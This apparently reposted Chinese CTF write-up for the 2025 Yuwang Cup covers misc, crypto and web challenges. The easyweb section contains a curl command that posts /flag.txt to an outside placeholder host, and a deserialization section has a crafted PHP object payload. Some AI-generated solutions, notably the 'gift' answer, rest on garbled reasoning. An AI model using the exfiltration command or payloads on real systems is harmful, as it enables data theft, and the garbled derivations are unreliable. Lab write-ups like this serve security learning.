当前位置: 首页 > news >正文

2025御网杯wp(web,misc,crypto)

文章目录

  • misc
    • xor10
    • 图片里的秘密
    • 被折叠的显影图纸
  • Crypto
    • easy_rsa
    • gift
      • **1. 礼物数学解析**
      • **最终答案**
    • 草甸方阵的密语
    • easy-签到题
    • baby_rsa
  • web
    • YWB_Web_xff
    • YWB_Web_未授权访问
    • easyweb
    • YWB_Web_命令执行过滤绕过
    • 反序列化

misc

xor10

ai一把梭

根据题目中的字符串和提示,虽然提示为“xor10”,但经过分析发现正确的密钥应为十进制的57(0x39)。每个字节异或57后,得到以下结果:

步骤解析:

  1. 拆分十六进制字符串:
    原字符串拆分为:5f,55,58,5e,42,71,7a,6d,7f,48,4e,5c,78,6a,7d,08,09,09,44。
  2. 转换为十进制并异或57:
    每个字节异或57后,转换为对应的ASCII字符:
    • 5f → 95 → 95^57=102 → ‘f’
    • 55 → 85 → 85^57=108 → ‘l’
    • 58 → 88 → 88^57=97 → ‘a’
    • 5e → 94 → 94^57=103 → ‘g’
    • 42 → 66 → 66^57=123 → ‘{’
    • 后续字节解密后依次为:H, C, T, F, q, w, e, A, S, D, 1, 0, 0, }

最终flag:
flag{HCTFqweASD100}

图片里的秘密

隐写分离得到zip,爆破出密码9864,进去flag.txt拿到一串字符5a6d78685a337331536d637153474d304a485a454f48684d49584a5466513d3d

转十六进制得到ZmxhZ3s1SmcqSGM0JHZEOHhMIXJTfQ==

显然是base64,解密拿到flag

flag{5Jg*Hc4$vD8xL!rS}

被折叠的显影图纸

随波逐流进来就一把梭。

image-20250511102646913

Crypto

easy_rsa

果然够easy

p=473398607161
q=4511491
e=19
phi=(p-1)*(q-1)
d=invmod(e,phi)
print(d+7)

gift

flag{slh}

一看ai就能梭,懒得动脑子了

根据题目中的级数特征和加密要求,答案的推导过程如下:


1. 礼物数学解析

题目中描述的级数 1 - 1/3 + 1/5 - 1/7 + … 是著名的 莱布尼茨级数,其和为 π/4*24


最终答案

  • 礼物名称pie
  • 加密后Flagflag{slh}

草甸方阵的密语

根据{}位置得到栅栏密码解密后结果,再凯撒加密一手

image-20250511104845442

easy-签到题

后缀改成txt即可正常查看

ai解密得到flag

解密过程如下:

  1. 首先对原始字符串进行 Base64 解码,得到一串看似又是 Base32 编码的字符串;
  2. 然后对这段字符串进行 Base32 解码,得到一段十六进制(hex)字符;
  3. 最后对这段十六进制字符串进行 hex 解码,就得到最终的 flag。

最终还原出的 flag 为:

复制编辑
flag{2b8471e0-3c9a-6d1f-4a57-980362157e3f}

baby_rsa

grok写个脚本秒了

from gmpy2 import invert, isqrt
from Crypto.Util.number import long_to_bytes
import sympy# Given values
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063# Step 1: Factorize N to find q and p
# Since q is 1024-bit, estimate q ≈ sqrt(N)
q_approx = isqrt(N)
# Find the next prime after q_approx to get q
q = sympy.prevprime(q_approx + 1)  # Adjust to find the correct q
p = N // q  # Compute p
if p * q != N:q = sympy.nextprime(q)  # Try next prime if factorization failsp = N // q
assert p * q == N, "Factorization failed"# Step 2: Compute phi
phi = (p - 1) * (q - 1)# Step 3: Compute private key d
d = invert(e, phi)# Step 4: Decrypt ciphertext
m = pow(c, d, N)# Step 5: Convert to bytes
flag = long_to_bytes(m)
print("Flag:", flag.decode())

web

YWB_Web_xff

加header伪造请求头读取到flag

image-20250511105841803

flag{9u60w1kemajt}

YWB_Web_未授权访问

cookie url解码一手,把guest改成admin,isAdmin改成1再url编码即可

image-20250511110457519

easyweb

测试一下发现弹shell失败,curl命令发送/flag.txt的内容到服务器

cmd=curl -d @/flag.txt http://ip:端口

image-20250511171819064

YWB_Web_命令执行过滤绕过

伪协议读到flag.php,根据里面的路径拿到flag

image-20250511163336160

image-20250511163403927

反序列化

简单反序列化

payload:

payload='O:7:"mylogin":2:{s:4:"user";s:XX:"phpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:12:"myzS@11wawq";}";}'
curl -X POST http://47.105.113.86:40004/ -d "msg=${payload}"

相关文章:

2025御网杯wp(web,misc,crypto)

文章目录 miscxor10图片里的秘密被折叠的显影图纸 Cryptoeasy_rsagift**1. 礼物数学解析****最终答案** 草甸方阵的密语easy-签到题baby_rsa webYWB_Web_xffYWB_Web_未授权访问easywebYWB_Web_命令执行过滤绕过反序列化 misc xor10 ai一把梭 根据题目中的字符串和提示&#…...

【深度学习】将本地工程上传到Colab运行的方法

1、将本地工程(压缩包)上传到一个新的colab窗口:如下图中的 2.zip,如果工程中有数据集,可以删除掉。 2、解压压缩包。 !unzip /content/2.zip -d /content/2 如果解压出了不必要的文件夹可以递归删除: #…...

多模态大语言模型arxiv论文略读(六十九)

Prompt-Aware Adapter: Towards Learning Adaptive Visual Tokens for Multimodal Large Language Models ➡️ 论文标题:Prompt-Aware Adapter: Towards Learning Adaptive Visual Tokens for Multimodal Large Language Models ➡️ 论文作者:Yue Zha…...

Lua再学习

因为实习的项目用到了Lua,所以再来深入学习一下 函数 函数的的多返回值 Lua中的函数可以实现多返回值,实现方法是再return后列出要返回的值的列表,返回值也可以通过变量接收到,变量不够也不会影响接收对应位置的返回值 Lua中传…...

Linux计划任务与进程

at 命令使用方法 at 命令可在指定时间执行任务,适用于一次性任务调度。以下是基本用法: 安装 atd 服务(如未安装) # Debian/Ubuntu sudo apt-get install at# CentOS/RHEL sudo yum install at启动服务 sudo systemctl start atd…...

JavaEE--文件操作和IO

目录 一、认识文件 二、 树型结构组织和目录 三、文件路径 1. 绝对路径 2. 相对路径 四、文件类型 五、文件操作 1. 构造方法 2. 方法 六、文件内容的读写——数据流 1. InputStream概述 2. FileInputStream概述 2.1 构造方法 2.2 示例 3. OutputStream概述 3.…...

k8s的节点是否能直接 curl Service 名称

在 Kubernetes 中,节点(Node)默认情况下不能直接通过 Service 的 DNS 名称(如 my-svc.default.svc.cluster.local)访问 Service。以下是详细分析和解决方案: 1. 默认情况下节点无法解析 Service 的 DNS 名…...

Mask-aware Pixel-Shuffle Down-Sampling (MPD) 下采样

来源 简介:这个代码实现了一个带有掩码感知的像素重排下采样模块,主要用于图像处理任务(如图像修复或分割)。 论文题目:HINT: High-quality INpainting Transformer with Mask-Aware Encoding and Enhanced Attentio…...

本贴会成为记录贴

这几天有些心力交瘁了 一方面带着对互联网下行的伤心,一方面是对未来的担忧 一转眼好像就是20 21那个 可以在宿舍肆意玩手机 大学生活 可是我不小了 是个26岁的人了 时间很快 快的就好像和自己开了一个玩笑 我以为可以找到一个自己足够喜欢的 可爱的人 可是我没有 …...

redis数据结构-04 (HINCRBY、HDEL、HKEYS、HVALS)

哈希操作:HINCRBY、HDEL、HKEYS、HVALS Redis 中的哈希功能极其丰富,让您能够以类似于编程语言中对象的方式存储和检索数据。本课将深入探讨具体的哈希操作,这些操作为操作以下结构中的数据提供了强大的工具: HINCRBY 、 HDEL 、…...

python 写一个工作 简单 番茄钟

1、图 2、需求 番茄钟(Pomodoro Technique)是一种时间管理方法,由弗朗西斯科西里洛(Francesco Cirillo)在 20 世纪 80 年代创立。“Pomodoro”在意大利语中意为“番茄”,这个名字来源于西里洛最初使用的一个…...

复现MAET的环境问题(自用)

我的配置是3090,CUDA Version: 12.4 配置环境时总有冲突,解决好的环境如下 如果你的配置也是CUDA12.4,可以把下面的配置信息保存成 environment.yml 文件 然后执行下面的代码创建环境即可 conda env export > environment.yml name:…...

PDF2zh插件在zotero中安装并使用

1、首先根据PDF2zh说明文档&#xff0c;安装PDF2zh https://github.com/guaguastandup/zotero-pdf2zh/tree/v2.4.0 我没有使用conda&#xff0c;直接使用pip安装pdf2zh &#xff08;Python版本要求3.10 < version <3.12&#xff09; pip install pdf2zh1.9.6 flask pypd…...

第二十三节:图像金字塔- 图像金字塔应用 (图像融合)

一、引言:视觉信息的层次化表达 在数字图像处理领域,图像金字塔(Image Pyramid)作为一种多尺度表示方法,自20世纪80年代提出以来,始终在计算机视觉领域扮演着关键角色。这种将图像分解为不同分辨率层次的结构化表示方法,完美地模拟了人类视觉系统对场景的多尺度感知特性…...

一种混沌驱动的后门攻击检测指标

摘要 人工智能&#xff08;AI&#xff09;模型在各个领域的进步和应用已经改变了我们与技术互动的方式。然而&#xff0c;必须认识到&#xff0c;虽然人工智能模型带来了显著的进步&#xff0c;但它们也存在固有的挑战&#xff0c;例如容易受到对抗性攻击。目前的工作提出了一…...

LeetCode 高频题实战:如何优雅地序列化和反序列化字符串数组?

文章目录 摘要描述题解答案题解代码分析编码方法解码方法 示例测试及结果时间复杂度空间复杂度总结 摘要 在分布式系统中&#xff0c;数据的序列化与反序列化是常见的需求&#xff0c;尤其是在网络传输、数据存储等场景中。LeetCode 第 271 题“字符串的编码与解码”要求我们设…...

leetcode 15. 三数之和

题目描述 代码&#xff1a; class Solution { public:vector<vector<int>> threeSum(vector<int>& nums) {sort(nums.begin(),nums.end());int len nums.size();int left 0;int right 0;vector<vector<int>> res;for(int i 0;i <len…...

HTML难点小记:一些简单标签的使用逻辑和实用化

HTML难点小记&#xff1a;一些简单标签的使用逻辑和实用化 jarringslee 文章目录 HTML难点小记&#xff1a;一些简单标签的使用逻辑和实用化简单只是你的表象标签不是随便用的<div> 滥用 vs 语义化标签的本质嵌套规则的隐藏逻辑SEO 与可访问性的隐形关联 暗藏玄机的表单…...

Linux : 31个普通信号含义

Linux &#xff1a; 31个普通信号 信号含义特殊的两个信号 信号含义 信号编号信号名信号含义1SIGHUP如果终端接口检测到一个连接断开&#xff0c;则会将此信号发送给与该终端相关的控制进程&#xff0c;该信号的默认处理动作是终止进程。2SIGINT当用户按组合键&#xff08;一般…...

软件测试都有什么???

文章目录 一、白盒测试&#xff08;结构测试&#xff09;二、黑盒测试&#xff08;功能测试&#xff09;三、灰盒测试四、其他测试类型五、覆盖准则对比六、应用场景 软件测试主要根据测试目标、技术手段和覆盖准则进行分类。分为白盒测试、黑盒测试、灰盒测试及其他补充类型 一…...

LangGraph框架中针对MCP协议的变更-20250510

MCP&#xff08;Model Context Protocol&#xff09;的出现为AI Agent与外部工具及数据源的集成提供了标准化接口&#xff0c;而LangGraph作为基于LangChain的智能体开发框架&#xff0c;在MCP协议的影响下也进行了适配性调整&#xff0c;主要体现在工具调用、异步交互和多步推…...

YashanDB(崖山数据库)V23.4 LTS 正式发布

2024年回顾 2024年11月我们受邀去深圳参与了2024国产数据库创新生态大会。在大会上崖山官方发布了23.3。这个也是和Oracle一样采用的事编年体命名。 那次大会官方希望我们这些在一直从事在一线的KOL帮助产品提一些改进建议。对于这样的想法&#xff0c;我们都是非常乐于合作…...

二、transformers基础组件之Tokenizer

在使用神经网络处理自然语言处理任务时&#xff0c;我们首先需要对数据进行预处理&#xff0c;将数据从字符串转换为神经网络可以接受的格式&#xff0c;一般会分为如下几步: - Step1 分词:使用分词器对文本数据进行分词(字、字词);- Step2 构建词典:根据数据集分词的结果,构建…...

git 报错:错误:RPC 失败。curl 28 Failed to connect to github.com port 443 after 75000

错误&#xff1a;RPC 失败。curl 28 Failed to connect to github.com port 443 after 75000 ms: Couldnt connect to server致命错误&#xff1a;在引用列表之后应该有一个 flush 包 方法一&#xff1a; 直接换一个域名&#xff1a;把 git clone https://github.com/zx59530…...

软考 系统架构设计师系列知识点之杂项集萃(56)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之杂项集萃&#xff08;55&#xff09; 第91题 商业智能关注如何从业务数据中提取有用的信息&#xff0c;然后采用这些信息指导企业的业务开展。商业智能系统主要包括数据预处理、建立&#xff08;&#xff09;、数据分…...

数据库的脱敏策略

数据库的脱敏策略&#xff1a;就是屏蔽敏感的数据 脱敏策略三要求&#xff1a; &#xff08;1&#xff09;表对象 &#xff08;2&#xff09;生效条件&#xff08;脱敏列、脱敏函数&#xff09; &#xff08;3&#xff09;二元组 常见的脱敏策略规则&#xff1a; 替换、重排、…...

Lora原理及实现浅析

Lora 什么是Lora Lora的原始论文为《LoRA: Low-Rank Adaptation of Large Language Models》&#xff0c;翻译为中文为“大语言模型的低秩自适应”。最初是为了解决大型语言模在进行任务特定微调时消耗大量资源的问题&#xff1b;随后也用在了Diffusion等领域&#xff0c;用于…...

力扣热题100之合并两个有序链表

题目 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 代码 方法一&#xff1a;新建一个链表 这里就先随便新建一个节点作为一个链表的头节点&#xff0c;然后每次遍历都将小的那个节点放入这个链表&#xff0c;遍历完一…...

Linux511SSH连接 禁止root登录 服务任务解决方案 scp Vmware三种模式回顾

创造一个临时文件 引用 scp -p 3712 atthistime.txt code11.1.1.100:/at ssh connect to host 11.1.1.100 port 22:No route to host lost connection 对方虚拟机是[rootlocalhost caozx26]# ll -d /at drwxr-xr-x. 2 root root 6 5月 11 11:10 /at sshd_config文件修改了port为…...

python实现用户登录

使用python实现用户登录&#xff0c;输入用户名和密码&#xff0c;进行验证&#xff0c;正确登录成功&#xff0c;错误登录失败&#xff0c;允许用户输入三次。 代码&#xff1a; 下面展示一些 内联代码片。 for i in range(3):username input(请输入用户名&#xff1a;)pas…...

信息系统项目管理师-软考高级(软考高项)​​​​​​​​​​​2025最新(十五)

个人笔记整理---仅供参考 第十五章项目风险管理 15.1管理基础 15.2项目风险管理过程 15.3规划风险管理 15.4识别风险 15.5实施定性风险分析 15.6实施定量风险分析 15.7规划风险应对 15.8实施风险应对 15.9监督风险...

力扣-二叉树-101 对称二叉树

思路 分解问题为&#xff0c;该节点的左孩子的左子树和右孩子的右子树是不是同一棵树 && 该节点的左孩子的右字数和右孩子的左子树是不是同一课树 && 该节点的左右孩子的值相不相同 代码 class Solution {public boolean isSymmetric(TreeNode root) {// 层…...

07.three官方示例+编辑器+AI快速学习webgl_buffergeometry_attributes_integer

本实例主要讲解内容 这个Three.js示例展示了WebGL 2环境下的整数属性渲染技术。通过创建大量随机分布的三角形&#xff0c;并为每个三角形分配不同的整数索引&#xff0c;实现了基于索引动态选择纹理的效果。 核心技术包括&#xff1a; WebGL 2环境下的整数属性支持顶点着色…...

Python Day 22 学习

学习讲义Day14安排的内容&#xff1a;SHAP图的绘制 SHAP模型的基本概念 参考学习的帖子&#xff1a;SHAP 可视化解释机器学习模型简介_shap图-CSDN博客 以下为学习该篇帖子的理解记录&#xff1a; Q. 什么是SHAP模型&#xff1f;它与机器学习模型的区别在哪儿&#xff1f; …...

OrangePi Zero 3学习笔记(Android篇)6 - hid-ft260

目录 1. 将hid-ft260.c拷贝到Android目录内 2. 修改hid-ids.h 3. 修改hid-quirks.c 4. 修改Kconfig 5. 修改Makefile 6. 配置内核 7. 编译内核 8. 增加权限 9. 验证 在Android中添加驱动模块ko文件&#xff0c;以hid-ft260为例。 1. 将hid-ft260.c拷贝到Android目录内…...

部署Superset BI(五)连接oracle数据库失败

折腾完了hana和sqlserver数据库的连接&#xff0c;开始折腾oracle数据库连接 1.requirements-local.txt配置 尝试在requirements-local.txt中设置&#xff0c;结果容器弄瘫痪了&#xff0c;拉不起来了&#xff0c;只要又去掉修改 rootNocobase:/usr/superset/superset/docker# …...

快速搭建一个vue前端工程

一、环境准备 1、安装node.js 下载地址&#xff1a;Node.js 推荐版本如下&#xff1a; 2、检查node.js版本 node -v npm -v 二、安装Vue脚手架 Vue脚手架是Vue官方提供的标准化开发工具。vue官网&#xff1a;https://cn.vuejs.org/ 全局安装vue/cli &#xff08;仅第一次…...

蓝桥杯14届 数三角

问题描述 小明在二维坐标系中放置了 n 个点&#xff0c;他想在其中选出一个包含三个点的子集&#xff0c;这三个点能组成三角形。然而这样的方案太多了&#xff0c;他决定只选择那些可以组成等腰三角形的方案。请帮他计算出一共有多少种选法可以组成等腰三角形&#xff1f; 输…...

在Python中计算函数耗时并超时自动退出

更多内容请见: python3案例和总结-专栏介绍和目录 文章目录 方法1:使用装饰器结合信号模块(仅Unix-like系统)方法2:使用多线程(跨平台解决方案)方法3:使用concurrent.futures(Python 3.2+)方法4:使用 multiprocessing + Process(跨平台)​方法5:使用 time 手动计…...

jna总结1

java使用JNA调用dll的方法_(jnacalldllapi) native.loadlibrary(path-CSDN博客 JNA(Java Native Access)&#xff1a;建立在JNI之上的Java开源框架&#xff0c;SUN主导开发&#xff0c;用来调用C、C代码&#xff0c;尤其是底层库文件&#xff08;windows中叫dll文件&#xff0c…...

[Java][Leetcode simple]26. 删除有序数组中的重复项

思路 第一个元素不动从第二个元素开始&#xff1a;只要跟上一个元素不一样就放入数组中 public int removeDuplicates(int[] nums) {int cnt1;for(int i 1; i < nums.length; i) {if(nums[i] ! nums[i-1]) {nums[cnt] nums[i];}}return cnt;}...

BUUCTF——Ezpop

BUUCTF——Ezpop 进入靶场 给了php代码 <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier {protected $v…...

springboot3+vue3融合项目实战-大事件文章管理系统-更新用户密码

大致分为这三步 首先在usercontroller中增加updatePwd方法 PatchMapping ("/updatePwd")public Result updatePwd(RequestBody Map<String,String> params){//1.校验参数String oldPwd params.get("old_pwd");String newPwd params.get("n…...

用浏览器打开pdf,如何使用划词翻译?

1. 浏览器 | 扩展 | 获取 Microsoft Edge 扩展 2. 搜索 “沙拉查词” 点击“获取” 3. 扩展这里选择 管理扩展 勾选 “允许访问文件url” 注&#xff1a;这里一定要勾选&#xff0c;否则沙拉查词无法访问.pdf 文件&#xff01;&#xff01;&#xff01;会出现下图错误 4. 右击…...

大模型项目:普通蓝牙音响接入DeepSeek,解锁语音交互新玩法

本文附带视频讲解 【代码宇宙019】技术方案&#xff1a;蓝牙音响接入DeepSeek&#xff0c;解锁语音交互新玩法_哔哩哔哩_bilibili 目录 效果演示 核心逻辑 技术实现 大模型对话&#xff08;技术&#xff1a; LangChain4j 接入 DeepSeek&#xff09; 语音识别&#xff08;…...

split和join的区别‌

split和join是Python中用于处理字符串的两种方法&#xff0c;它们的主要区别在于功能和使用场景。‌ split()方法 ‌split()方法用于将字符串按照指定的分隔符分割成多个子串&#xff0c;并返回这些子串组成的列表‌。如果不指定分隔符&#xff0c;则默认分割所有的空白字符&am…...

Qt坐标系 + 信号和槽 + connect函数(8)

文章目录 Qt坐标系信号和槽connect函数connect函数的介绍connect函数具体的使用方式一个简单的例子 两个问题咋知道的QPushButton有一个clicked信号官方文档找不到相关线索怎么办 简介&#xff1a;上篇文章&#xff1a;Qt 通过控件按钮实现hello world 命名规范&#xff08;7&…...

Maven 公司内部私服中央仓库搭建 局域网仓库 资源共享 依赖包构建共享

介绍 公司内部私服搭建通常是为了更好地管理公司内部的依赖包和构建过程&#xff0c;避免直接使用外部 Maven 中央仓库。通过搭建私服&#xff0c;团队能够控制依赖的版本、提高构建速度并增强安全性。公司开发的一些公共工具库更换的提供给内部使用。 私服是一种特殊的远程仓…...

蓝桥杯14届国赛 合并数列

问题描述 小明发现有很多方案可以把一个很大的正整数拆成若干正整数的和。他采取了其中两种方案&#xff0c;分别将他们列为两个数组 {a1,a2,...,an} 和 {b1,b2,...,bm}。两个数组的和相同。 定义一次合并操作可以将某数组内相邻的两个数合并为一个新数&#xff0c;新数的值是…...

人工智能100问☞第20问:神经网络的基本原理是什么?

目录 一、通俗解释 二、专业解析 三、权威参考 神经网络通过模拟人脑神经元连接结构,借助多层神经元的前向传播(输入到输出逐层计算)与反向传播(误差逆向调整参数)机制,利用激活函数(如ReLU、Sigmoid)引入非线性特征,通过权重迭代优化实现从数据中自主学习,最终完…...